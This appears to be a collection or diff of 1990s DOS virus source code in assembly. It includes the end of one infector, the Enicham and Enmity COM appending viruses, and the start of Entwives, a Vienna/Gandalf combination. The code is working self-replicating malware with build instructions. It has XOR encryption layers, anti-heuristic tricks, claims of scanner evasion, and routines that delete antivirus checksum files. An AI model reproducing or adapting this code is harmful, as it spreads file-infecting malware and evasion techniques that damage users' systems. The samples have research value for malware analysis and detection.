int 21h
|
||||
pop si
|
||||
|
||||
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,virussize-896+64 ;Length of virus obtained
|
||||
mov ax,4000h ;with dir
|
||||
int 21h
|
||||
lahf ;Write function call
|
||||
|
||||
pop bx
|
||||
pop es
|
||||
|
||||
push ds
|
||||
push es
|
||||
pop ds
|
||||
mov dx,bx
|
||||
push ax
|
||||
mov ax,1a00h
|
||||
int 21h
|
||||
pop ax
|
||||
|
||||
pop ds
|
||||
pop bx
|
||||
pop es
|
||||
|
||||
pop cx
|
||||
pop dx
|
||||
|
||||
sahf
|
||||
jnc put_stamp ;Error or not file
|
||||
jmp append_ok1 ;is closed
|
||||
|
||||
put_stamp:
|
||||
push bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
mov ax,5701h ;Set time function
|
||||
int 21h
|
||||
pop bx
|
||||
|
||||
append_ok1:
|
||||
|
||||
mov si,offset buffer.ip_old ;Restore previous CS:IP values
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov dx,[si+2]
|
||||
mov si,offset buffer.IP_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
mov [si+2],dx
|
||||
|
||||
mov si,offset buffer.save_push
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov word ptr [si-2],ax
|
||||
|
||||
mov si,offset buffer.ss_old
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov si,offset buffer.SS_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov word ptr [si],ax
|
||||
|
||||
|
||||
append_ok:
|
||||
mov si,offset buffer.help_flag
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
add si,2
|
||||
mov [si],ax ;This code effectively moves
|
||||
;help_flag into where_from_flag
|
||||
|
||||
|
||||
jmp close_error ;
|
||||
|
||||
error_exit:
|
||||
mov si,offset buffer.pointer3
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov dx,[si] ;Restore original DTA
|
||||
add si,2
|
||||
mov ax,[si]
|
||||
push ds
|
||||
mov ds,ax
|
||||
mov ax,1a00h ;Set DTA function call
|
||||
int 21h
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
try_to_infect ENDP
|
||||
|
||||
transfer_filespec PROC
|
||||
|
||||
push si
|
||||
mov si,offset buffer.filematch ;Transfer name to the working
|
||||
;area
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
call byte_move
|
||||
pop si
|
||||
ret
|
||||
|
||||
transfer_filespec ENDP
|
||||
|
||||
search_all PROC
|
||||
|
||||
push si
|
||||
mov si,offset buffer.matchall ;This is the '*.*' filename
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
call byte_move
|
||||
pop si
|
||||
ret
|
||||
|
||||
search_all ENDP
|
||||
|
||||
byte_move PROC
|
||||
|
||||
push ax
|
||||
push di
|
||||
|
||||
cld
|
||||
|
||||
move_loop:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al ;The string to move is ASCIIZ
|
||||
jne move_loop
|
||||
pop di
|
||||
pop ax
|
||||
ret
|
||||
|
||||
byte_move ENDP
|
||||
|
||||
find_first PROC
|
||||
|
||||
push cx
|
||||
push bx
|
||||
cmp dx,0000h
|
||||
jnbe over_set
|
||||
mov dx,offset buffer.buffer2 ;Set Data Transfer Area
|
||||
sub dx,adjust ;or Disk Transfer area
|
||||
add dx,bx ;
|
||||
over_set:
|
||||
add dx,02Bh
|
||||
mov cx,00010h ;Attribute byte for
|
||||
;directory search
|
||||
mov ah,01ah
|
||||
int 021h ;Set DTA function call
|
||||
|
||||
pop bx
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.buffer1
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov ah,04eh ;find first
|
||||
;function call
|
||||
int 021h
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
ret
|
||||
|
||||
find_first ENDP
|
||||
|
||||
find_next PROC
|
||||
|
||||
push cx
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.buffer1
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov cx,00010h
|
||||
mov ah,04fh ;Find next function call
|
||||
int 021h
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
ret
|
||||
|
||||
find_next ENDP
|
||||
|
||||
ask_question PROC
|
||||
|
||||
mov dx,offset buffer.question
|
||||
mov ax,09
|
||||
int 21h
|
||||
xor ax,ax
|
||||
int 16h
|
||||
|
||||
ask_question ENDP
|
||||
|
||||
|
||||
setup_data:
|
||||
cli
|
||||
pop bx ;This will catch instruction pointer
|
||||
push bx
|
||||
sti ;value and after that restore stack
|
||||
ret ;pointer value
|
||||
|
||||
|
||||
buffer data_area <> ;Reseve data_area space
|
||||
|
||||
code ends
|
||||
END start
|
|
@ -0,0 +1,230 @@
|
|||
; ------------------------------------------------------------------------- ;
|
||||
; Enicham v1.3 coded by KilJaeden of the Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Description: `-------------------| Started: 17/06/98 | Finished: 18/06/98 ;
|
||||
; `-------------------^------------------- ;
|
||||
; v1.0 - runtime .com appender with one layer of encryption | Size: 543 ;
|
||||
; v1.1 - restores time/date & attributes + infects readonly `---------- ;
|
||||
; v1.2 - add second layer of XOR,NEG,NOT,ROR,ROL encryption ;
|
||||
; v1.3 - add small payload, show our presence every tuesday ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------------------> This Is For Christine Moore <--------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm enicham.asm ;
|
||||
; to link :::::] tlink /t enicham.obj ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code segment ; name our segment 'code'
|
||||
assume cs:code,ds:code ; assign CS and DS to code
|
||||
org 100h ; this be a .com file
|
||||
jumps ; save space jumping
|
||||
|
||||
blank: db 0e9h,0,0 ; jump to start of code
|
||||
start: call delta ; push IP on to stack
|
||||
delta: pop bp ; pop it into BP
|
||||
sub bp,offset delta ; get the delta offset
|
||||
|
||||
decr: jmp once ; jump to once (overwritten)
|
||||
lea si,[bp+encd] ; start of encrypted stuff
|
||||
mov di,si ; move si into di
|
||||
call encr ; call our decryption loop
|
||||
|
||||
; -------------------( Start Of 1st Encryption Blanket )------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
encd: lea si,[bp+d_encd] ; start address of layer 2
|
||||
mov di,si ; move it into DI
|
||||
mov cx,d_encr-d_encd ; # of bytes to decrypt
|
||||
call d_encr ; second layer decrypted
|
||||
|
||||
; -------------------( Start Of 2nd Encryption Blanket )------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
d_encd: lea si,[bp+thrbyte] ; what bytes to restore
|
||||
mov di,100h ; where to restore them
|
||||
push di ; push 100h on to stack
|
||||
movsw ; move two bytes
|
||||
movsb ; move one byte
|
||||
|
||||
lea dx,[bp+offset dta] ; where to put the DTA
|
||||
mov ah,1ah ; move the DTA
|
||||
int 21h ; it's moved now
|
||||
|
||||
mov ah,4eh ; find first file
|
||||
lea dx,[bp+comfile] ; with extension .com
|
||||
mov cx,7 ; possible attributes
|
||||
|
||||
find: int 21h ; find the file
|
||||
jc exit ; no files found, exit
|
||||
|
||||
lea dx,[bp+offset dta+1eh] ; get the file info
|
||||
mov ax,4300h ; get file attributes
|
||||
int 21h ; get them now
|
||||
push cx ; push the attributes
|
||||
push dx ; push the file name
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to none at all
|
||||
int 21h ; set them now
|
||||
|
||||
mov ax,3d02h ; open the file
|
||||
int 21h ; it is open now
|
||||
xchg bx,ax ; move the info
|
||||
|
||||
mov ax,5700h ; get time / date
|
||||
int 21h ; we have them now
|
||||
push dx ; push the date
|
||||
push cx ; push the time
|
||||
|
||||
mov ah,3fh ; read from file
|
||||
lea dx,[bp+thrbyte] ; read into here
|
||||
mov cx,3 ; read three bytes
|
||||
int 21h ; got the first three
|
||||
|
||||
mov ax,word ptr [bp+dta+1ah] ; get file size
|
||||
mov cx,word ptr [bp+thrbyte+1] ; move thrbyte+1 into CX
|
||||
add cx,finished-start+3 ; get virus + jump size
|
||||
cmp ax,cx ; compare the two
|
||||
jz close ; if equal, close file
|
||||
cmp ax,1000 ; file is > then 1kb ?
|
||||
jb close ; to small, close it
|
||||
cmp ax,62000 ; file is < then 62kb ?
|
||||
ja close ; to big, close it up
|
||||
|
||||
sub ax,3 ; get size of main jump
|
||||
mov word ptr [bp+newjump+1],ax ; write it into newjump
|
||||
|
||||
mov ax,4200h ; scan to start of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to SOF
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+newjump] ; write the jump
|
||||
mov cx,3 ; # of bytes to write
|
||||
int 21h ; write them now
|
||||
|
||||
mov ax,4202h ; scan to end of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to EOF
|
||||
|
||||
lea si,[bp+start] ; load the source index
|
||||
lea di,[bp+buffer] ; load the desination index
|
||||
mov cx,finished-start ; # of bytes to move
|
||||
rep movsb ; load it into memory
|
||||
|
||||
lea si,[bp+d_encd-start+buffer] ; load the source index
|
||||
mov cx,d_encr-d_encd ; # of bytes to encrypt
|
||||
mov di,si ; move SI into DI
|
||||
call d_encr ; encrypt 1st layer
|
||||
|
||||
lea di,[bp+encd-start+buffer] ; load the desination index
|
||||
mov si,di ; move it into SI
|
||||
mov cx,encr-encd ; # of bytes to encrypt
|
||||
call encr ; encrypt 2nd layer
|
||||
|
||||
mov ah,40h ; write to file
|
||||
mov cx,finished-start ; # of bytes to write
|
||||
lea dx,[bp+buffer] ; start of virus in mem
|
||||
int 21h ; write it now
|
||||
|
||||
close: mov ax,5701h ; set time / date
|
||||
pop cx ; pop the time
|
||||
pop dx ; pop the date
|
||||
int 21h ; restore time/date files
|
||||
|
||||
mov ax,4301h ; set attributes
|
||||
pop dx ; for this file
|
||||
pop cx ; with these attributes
|
||||
int 21h ; restore them now
|
||||
|
||||
mov ah,3eh ; close the file
|
||||
int 21h ; file is closed
|
||||
|
||||
mov ah,4fh ; find next file
|
||||
jmp find ; find it now
|
||||
|
||||
exit: mov ah,2ah ; get system time
|
||||
int 21h ; we have it now
|
||||
cmp al,004h ; is it tuesday?
|
||||
jne endit ; nope, end this
|
||||
|
||||
mov ah,09h ; print a message
|
||||
lea dx,[bp+pldmsg] ; our payload message
|
||||
int 21h ; print it now
|
||||
mov ah,00h ; wait for keypress
|
||||
int 16h ; anounce our presence
|
||||
|
||||
endit: mov ah,1ah ; set DTA location
|
||||
mov dx,80h ; to this location
|
||||
int 21h ; restore DTA
|
||||
retn ; return control to host
|
||||
|
||||
; ----------------------------( The Data Area )---------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
pldmsg db '',10,13
|
||||
db ' Infected with :: Enihcam :: written by KilJaeden of the Codebreakers 1998',10,13,'$'
|
||||
thrbyte db 0cdh,20h,0 ; terminates 1st gen
|
||||
newjump db 0e9h,0,0 ; blank jump 1st gen
|
||||
comfile db "*.com",0 ; extension to search for
|
||||
dta db 43 dup (?) ; space for DTA
|
||||
|
||||
; --------------------( End Of 2nd Encryption Blanket )-------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
d_encr: lodsb ; load a byte
|
||||
xor al,0C4h ;------[1]
|
||||
neg al ;-----[2]
|
||||
ror al,4 ;----[3]
|
||||
not al ;---[4]
|
||||
rol al,4 ;--[5]
|
||||
neg al ;-[6] encryption/decryption
|
||||
rol al,4 ;--[5]
|
||||
not al ;---[4]
|
||||
ror al,4 ;----[3]
|
||||
neg al ;-----[2]
|
||||
xor al,0C4h ;------[1]
|
||||
stosb ; store the byte
|
||||
loop encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
; --------------------( End Of 1st Encryption Blanket )-------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
encr: lodsb ; load a byte
|
||||
neg al ;------[1]
|
||||
ror al,4 ;-----[2]
|
||||
not al ;----[3]
|
||||
neg al ;---[4]
|
||||
rol al,4 ;--[5]
|
||||
xor al,0C4h ;-[6] encryption/decryption
|
||||
rol al,4 ;--[5]
|
||||
neg al ;---[4]
|
||||
not al ;----[3]
|
||||
ror al,4 ;-----[2]
|
||||
neg al ;------[1]
|
||||
stosb ; store the byte
|
||||
loop encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
buffer: ; save our virus in mem
|
||||
finished: ; offset label for virus end
|
||||
|
||||
once: lea si,[bp+new] ; load source index
|
||||
lea di,[bp+decr] ; load destination index
|
||||
movsw ; move two bytes
|
||||
movsb ; move one byte
|
||||
jmp d_encd ; jump to encrypted area
|
||||
new: mov cx,encr-encd ; this replaces the jump
|
||||
|
||||
code ends ; end code segment
|
||||
end blank ; end / where to start
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
|
@ -0,0 +1,490 @@
|
|||
comment #
|
||||
|
||||
Enmity, by Lord Natas
|
||||
|
||||
Properties:
|
||||
|
||||
*COM infection (appending, nonresident)
|
||||
*antiheuristic code
|
||||
*no TBSCAN flags at time of release (second generation)
|
||||
*encryption (xor, random 16 bit key)
|
||||
*works with microsoft COM files (the ones with the stupid checksum)
|
||||
*infects all files in current directory, then in the upper directory,
|
||||
then in \, then in C:\WINDOWS\COMMAND.
|
||||
*preserves date, time, attributes
|
||||
*doesn't infect command.com, tb*.com files, or misnamed EXE files
|
||||
*removes scanner checksums
|
||||
|
||||
Scanning results:
|
||||
|
||||
FPROT(3): nothing
|
||||
AVP: nothing
|
||||
TBSCAN(WIN95): nothing
|
||||
FINDVIRUS: nothing
|
||||
DRWEB: nothing
|
||||
|
||||
Assemble with TASM.
|
||||
MASM produces errors (at least, the version I have)
|
||||
|
||||
#
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
jumps
|
||||
|
||||
org 100h
|
||||
|
||||
code_length equ end_virus-start
|
||||
|
||||
;----- fake host - a jump and infection mark
|
||||
|
||||
host:
|
||||
db 0e9h,0,0,'66'
|
||||
|
||||
start:
|
||||
call get_offset
|
||||
|
||||
;----- get the delta offset
|
||||
|
||||
get_offset:
|
||||
pop ax ;nice and (somewhat) anti-heuristic
|
||||
xchg cx,ax
|
||||
sub cx,offset get_offset
|
||||
xchg bp,cx
|
||||
|
||||
call decrypt
|
||||
|
||||
jmp short virus_start
|
||||
mov ax,4c00h ;this shuts-up findvirus
|
||||
int 21h
|
||||
|
||||
virus_start:
|
||||
push 1a01h ;!heuristic killer!
|
||||
push 100h
|
||||
lea si,[bp+oldbytes]
|
||||
pop di
|
||||
movsw ;move 5 bytes to 0100h
|
||||
movsw
|
||||
movsb
|
||||
|
||||
;----- move the DTA to the end
|
||||
|
||||
lea dx,[bp+dta] ;store in dta
|
||||
pop ax
|
||||
dec ax ;!heuristic killer!
|
||||
int 21h
|
||||
|
||||
;----- save our current directory
|
||||
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,[bp+old_dir] ;store in old_dir
|
||||
int 21h
|
||||
|
||||
;----- find *.COM files
|
||||
|
||||
call killer
|
||||
call findfirst
|
||||
|
||||
find_file:
|
||||
int 21h
|
||||
jc try_updir ;if error jump
|
||||
|
||||
call infect ;else infect
|
||||
|
||||
find_next:
|
||||
mov ah,4fh ;find next file
|
||||
jmp short find_file
|
||||
|
||||
try_updir:
|
||||
mov ah,3bh
|
||||
lea dx,[bp+higher_dir] ;change dir up
|
||||
int 21h
|
||||
jc is_root
|
||||
|
||||
call killer
|
||||
call findfirst
|
||||
|
||||
find_updir:
|
||||
int 21h
|
||||
jc is_root ;if none, exit
|
||||
call infect ;else infect
|
||||
mov ah,4fh ;find next
|
||||
jmp short find_updir
|
||||
|
||||
is_root:
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,[bp+dir_chk] ;store in dir_chk
|
||||
int 21h
|
||||
|
||||
cmp byte ptr [bp+dir_chk],0
|
||||
je try_win
|
||||
|
||||
try_root:
|
||||
mov ah,3bh
|
||||
lea dx,[bp+root] ;change dir to root ('\')
|
||||
int 21h
|
||||
jc try_win
|
||||
|
||||
call killer
|
||||
call findfirst
|
||||
|
||||
find_root:
|
||||
int 21h
|
||||
jc try_win ;if none, exit
|
||||
call infect ;else infect
|
||||
mov ah,4fh ;find next
|
||||
jmp short find_root
|
||||
|
||||
try_win:
|
||||
mov ah,3bh
|
||||
lea dx,[bp+win_command] ;change dir to command
|
||||
int 21h
|
||||
jc done_files
|
||||
|
||||
call killer
|
||||
call findfirst
|
||||
|
||||
find_win:
|
||||
int 21h
|
||||
jc done_files ;if none, exit
|
||||
call infect ;else infect
|
||||
mov ah,4fh ;find next
|
||||
jmp short find_win
|
||||
|
||||
done_files:
|
||||
mov ah,3bh ;change back to old_dir
|
||||
lea dx,[bp+old_dir]
|
||||
int 21h
|
||||
|
||||
mov ah,2ch ;get time
|
||||
int 21h
|
||||
|
||||
cmp dx,5 ;is it time to activate?
|
||||
ja fix_dta ;no? return to host
|
||||
|
||||
begin:
|
||||
mov ax,13 ;put video in mode 13
|
||||
int 10h
|
||||
|
||||
lea si,[bp+msg]
|
||||
|
||||
print_lp:
|
||||
cld ;clear direction flag (left
|
||||
lodsb ;to right)
|
||||
or al,al ;check for text end
|
||||
jz fix_1
|
||||
mov ah,0eh ;write char
|
||||
xor bh,bh ;page 0
|
||||
mov bl,5 ;color 5 -> magenta
|
||||
int 10h
|
||||
jmp short print_lp
|
||||
|
||||
fix_1:
|
||||
xor ax,ax ;wait for key
|
||||
int 16h
|
||||
|
||||
mov ax,03h ;restore to textmode
|
||||
int 10h
|
||||
|
||||
;----- reset DTA
|
||||
|
||||
fix_dta:
|
||||
push 1a00h ;fix dta
|
||||
mov dx,80h
|
||||
pop ax
|
||||
int 21h
|
||||
|
||||
;----- clean up
|
||||
|
||||
xor ax,ax
|
||||
mov bx,ax
|
||||
mov cx,ax
|
||||
mov dx,ax
|
||||
mov di,ax
|
||||
mov bp,ax
|
||||
mov si,0101h ;special gift for TBAV
|
||||
|
||||
;----- restore control to cs:0100h
|
||||
|
||||
dec si
|
||||
push si ;put 100h on stack so virus
|
||||
ret ;jumps to host
|
||||
|
||||
;----- check name
|
||||
|
||||
infect:
|
||||
cmp word ptr [bp+dta+1eh+5], "DN" ;commaND
|
||||
je return
|
||||
|
||||
cmp word ptr [bp+dta+1eh], "BT" ;TBdel
|
||||
je return
|
||||
|
||||
mov cx,13d ;max file length
|
||||
lea si,[bp+dta+1eh] ;filename in dta
|
||||
compare:
|
||||
lodsb ;get byte
|
||||
cmp al,"." ;is it "."?
|
||||
jne compare ;no, compare
|
||||
cmp byte ptr [si],"C" ;is is *.C?
|
||||
jne return ;no, return
|
||||
|
||||
;----- save attributes,time,date,size
|
||||
|
||||
mov cx,5 ;5 bytes
|
||||
lea si,[bp+dta+15h] ;point to the dta
|
||||
lea di,[bp+f_attr] ;move to f_attr
|
||||
rep movsb
|
||||
|
||||
;----- remove attributes
|
||||
|
||||
mov ax,4301h
|
||||
xor cx,cx ;no attribute
|
||||
lea dx,[bp+dta+1eh] ;point to name in dta
|
||||
int 21h
|
||||
|
||||
;----- open file for read/write
|
||||
|
||||
push 3d04h ;!heuristic killer!
|
||||
lea dx,[bp+dta+1eh] ;filename in dta
|
||||
pop cx
|
||||
sub cx,2
|
||||
xchg ax,cx
|
||||
int 21h
|
||||
|
||||
xchg bx,ax ;put handle in bx
|
||||
push 3f00h ;!heuristic killer!
|
||||
|
||||
;----- read 1st five bytes
|
||||
|
||||
mov cx,5
|
||||
lea dx,[bp+oldbytes] ;store in oldbytes
|
||||
pop ax
|
||||
int 21h
|
||||
|
||||
;----- check for misnamed .EXE (fuck you microsoft) - anti-heuristic
|
||||
|
||||
mov ax,word ptr [bp+oldbytes]
|
||||
add ax,0101h
|
||||
|
||||
cmp word ptr ax,'[N' ;check first 2 bytes
|
||||
je close_file
|
||||
|
||||
cmp word ptr ax,'N['
|
||||
je close_file
|
||||
|
||||
;----- check for infection mark
|
||||
|
||||
cmp word ptr [bp+oldbytes+3],'66' ;look for 66
|
||||
je close_file
|
||||
|
||||
;----- check size - if > 60000 then close
|
||||
|
||||
cmp word ptr [bp+dta+1ah], 60000
|
||||
ja close_file
|
||||
|
||||
;----- seek to eof - 7
|
||||
|
||||
mov ax,4202h
|
||||
mov cx,-1
|
||||
mov dx,-7
|
||||
int 21h
|
||||
|
||||
;----- (eof-7)+7=eof
|
||||
|
||||
mov cx,7
|
||||
add ax,cx
|
||||
|
||||
;----- calculate jump
|
||||
|
||||
sub ax,3
|
||||
mov word ptr [bp+jump_bytes+1],ax
|
||||
|
||||
;----- read 7 bytes
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,7
|
||||
lea dx,[bp+buffer]
|
||||
int 21h
|
||||
|
||||
;----- add virus size to checksum
|
||||
|
||||
add word ptr [bp+buffer+5],code_length
|
||||
|
||||
;----- make new key
|
||||
|
||||
push 4000h
|
||||
mov ah,2ch ;get time
|
||||
int 21h
|
||||
mov word ptr [bp+key1],dx ;use seconds + hundreths
|
||||
|
||||
;----- write unencrypted portion
|
||||
|
||||
mov cx,virus_start-start
|
||||
lea dx,[bp+start]
|
||||
pop ax
|
||||
int 21h
|
||||
|
||||
;----- encrypt & move
|
||||
|
||||
push 4001h
|
||||
mov cx,(key1-virus_start+1)/2 ;length of code
|
||||
mov dx,word ptr [bp+key1] ;key
|
||||
lea si,[bp+virus_start] ;source: virus start
|
||||
lea di,[bp+crypt_buffr] ;destination: buffer
|
||||
xor_loop2:
|
||||
lodsw ;get byte from source
|
||||
xor ax,dx ;xor it
|
||||
stosw ;move it to destination
|
||||
loop xor_loop2
|
||||
|
||||
;----- write encrypted shit
|
||||
|
||||
mov cx,key1-virus_start
|
||||
lea dx,[bp+crypt_buffr]
|
||||
pop ax ;!heuristic killer!
|
||||
dec ax
|
||||
push 4000h
|
||||
int 21h
|
||||
|
||||
;----- write more unencrypted shit
|
||||
|
||||
mov cx,f_attr-key1 ;this is the decryptor and
|
||||
lea dx,[bp+key1] ;other stuff that remains
|
||||
pop ax ;unencrypted
|
||||
int 21h
|
||||
|
||||
;----- seek to start of file
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
cwd
|
||||
push 4000h
|
||||
int 21h
|
||||
|
||||
;----- write the jump
|
||||
|
||||
mov cx,5
|
||||
lea dx,[bp+jump_bytes]
|
||||
pop ax ;!heuristic killer!
|
||||
int 21h
|
||||
close_file:
|
||||
|
||||
;----- restore date/time
|
||||
|
||||
push 5701h
|
||||
mov cx,word ptr [bp+f_time]
|
||||
mov dx,word ptr [bp+f_date]
|
||||
pop ax ;!heuristic killer!
|
||||
int 21h
|
||||
|
||||
;----- close file
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
;----- restore attributes
|
||||
|
||||
mov ax,4302h
|
||||
xor ch,ch
|
||||
mov cl,byte ptr [bp+f_attr] ;old attributes
|
||||
lea dx,[bp+dta+1eh] ;filename in dta
|
||||
int 21h
|
||||
return:
|
||||
ret
|
||||
|
||||
;----- checksum deletion
|
||||
|
||||
killer:
|
||||
|
||||
lea dx,[bp+tbsum] ;pont to name
|
||||
call kill_bad_file ;kill it
|
||||
|
||||
lea dx,[bp+pcsum1]
|
||||
call kill_bad_file
|
||||
|
||||
lea dx,[bp+pcsum2]
|
||||
call kill_bad_file
|
||||
|
||||
lea dx,[bp+ivsum]
|
||||
call kill_bad_file
|
||||
|
||||
ret
|
||||
|
||||
;----- delete bad files - input: DS:DX = to kill
|
||||
|
||||
kill_bad_file:
|
||||
mov ax,4301h
|
||||
xor cx,cx ;no attribute
|
||||
int 21h
|
||||
|
||||
mov ah,41h ;delete
|
||||
int 21h
|
||||
clc ;clear carry
|
||||
ret
|
||||
|
||||
findfirst:
|
||||
mov ah,4eh
|
||||
mov cx,0007h ;all attributes
|
||||
lea dx,[bp+comspec] ;comspec = filemask
|
||||
ret
|
||||
|
||||
;----- data area 1
|
||||
|
||||
msg db 'Enmity',13,10,0
|
||||
db 'by Lord Natas',0
|
||||
|
||||
comspec db '*.*OM',0 ;file search mask
|
||||
win_command db 'C:\WINDOWS\COMMAND',0 ;target directory
|
||||
root db '\',0 ;another target
|
||||
higher_dir db '..',0 ;yet another
|
||||
tbsum db 'ANTI-VIR.DAT',0 ;checksums to delete
|
||||
pcsum1 db 'CHKLIST.MS',0
|
||||
pcsum2 db 'CHKLIST.CPS',0
|
||||
ivsum db 'IVB.NTZ',0
|
||||
oldbytes db 90h,90h,90h,0cdh,20h ;host bytes
|
||||
jump_bytes db 0e9h,0,0,'66' ;the jump to write
|
||||
key1 dw ? ;encryption key
|
||||
|
||||
;----- simple xor encryption, TBAV screwing loop
|
||||
|
||||
decrypt:
|
||||
mov cx,(key1-virus_start+1)/2 ;code length
|
||||
mov dx,word ptr [bp+key1] ;key
|
||||
lea si,[bp+virus_start] ;source of code
|
||||
mov di,si ;to decrypt
|
||||
xor_loop:
|
||||
lodsw
|
||||
jmp short fake2
|
||||
fake1:
|
||||
stosw
|
||||
jmp short fake3
|
||||
fake2:
|
||||
xor ax,dx
|
||||
jmp short fake1
|
||||
fake3:
|
||||
loop xor_loop
|
||||
ret
|
||||
|
||||
;----- data area 2 - stuff for microsoft's lame checksums
|
||||
|
||||
buffer db 5 dup (?) ;buffer = eof-2
|
||||
size_checksum db 2 dup (90h) ;checksum for microsoft coms
|
||||
|
||||
end_virus:
|
||||
|
||||
;----- this is not written to disk, thus saving much space
|
||||
|
||||
f_attr db ? ;file attribute
|
||||
f_time dw ? ;file time
|
||||
f_date dw ? ;file date
|
||||
old_dir db 64 dup (?) ;old directory name
|
||||
dta db 48 dup (?) ;DTA storage
|
||||
dir_chk db 64 dup (?) ;for dir checking
|
||||
|
||||
;----- temp buffer for encryption
|
||||
|
||||
crypt_buffr db end_virus - virus_start dup (?)
|
||||
end host
|
|
@ -0,0 +1,776 @@
|
|||
; Entwives: Two-in-one by Ender
|
||||
; This virus is a combination of a G^2 COM infector, called Gandalf and
|
||||
; the popular Vienna strain. This virus runs the Vienna code 7/8
|
||||
; times and the Gandalf code the remaining 1/8. The Vienna viral code
|
||||
; should load the infected file with Vienna and Gandalf while the
|
||||
; Gandalf code will only load itself into the file.
|
||||
; Please note that McAfee shows Lisbon and 1014 virus when scanning
|
||||
; a file infected by this virus. Gandalf is invisible. At least on
|
||||
; an older version it is.
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
; First is Vienna
|
||||
; ~~~~~~~~~~~~~~~
|
||||
|
||||
.model tiny
|
||||
|
||||
MOV_CX MACRO X
|
||||
DB 0B9H
|
||||
DW X
|
||||
ENDM
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||||
ORG $+0100H
|
||||
|
||||
;*****************************************************************************
|
||||
;Start out with a JMP around the remains of the original .COM file, into the
|
||||
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
|
||||
;The rest of the file (first 3 bytes) are stored in the virus data area.
|
||||
;*****************************************************************************
|
||||
|
||||
VCODE: JMP virus
|
||||
|
||||
;This was the rest of the original .COM file. Tiny and simple, this time
|
||||
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
|
||||
;************************************************************
|
||||
; The actual virus starts here
|
||||
;************************************************************
|
||||
|
||||
v_start equ $
|
||||
|
||||
virus:
|
||||
; ******************************************************************
|
||||
; Determine which Viral code to use
|
||||
; BY
|
||||
; Getting current system time
|
||||
;*******************************************************************
|
||||
|
||||
MOV AH,2CH
|
||||
INT 21H
|
||||
|
||||
AND DH,7 ;Last 3 bits 0? (once in eight)
|
||||
JNZ actvir ; If 7/8 use Vienna code
|
||||
JMP carrier ; If 1/8 use Gandalf code
|
||||
|
||||
;*******************************************************************
|
||||
; This is the special "one in eight" infection. If the above line were in
|
||||
; its original form, the Gandalf code would be run 1/8 of the time, and
|
||||
; rather than appending a copy of Vienna+Gandalf virus to the .COM file,
|
||||
; the file would get the Gandalf virus. Why? Just for the Hell of it!
|
||||
;*******************************************************************
|
||||
|
||||
actvir: PUSH CX
|
||||
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
|
||||
; The 2nd and 3rd bytes get modified.
|
||||
CLD ;Pointers will be auto INcremented
|
||||
MOV SI,DX ;Access data as offset from SI
|
||||
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
|
||||
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
|
||||
MOV CX,3
|
||||
REPZ MOVSB ;Restore original first 3 bytes of .COM
|
||||
MOV SI,DX ;Keep SI pointing to the data area
|
||||
|
||||
;*************************************************************
|
||||
; Get DTA address into ES:BX
|
||||
;*************************************************************
|
||||
|
||||
PUSH ES
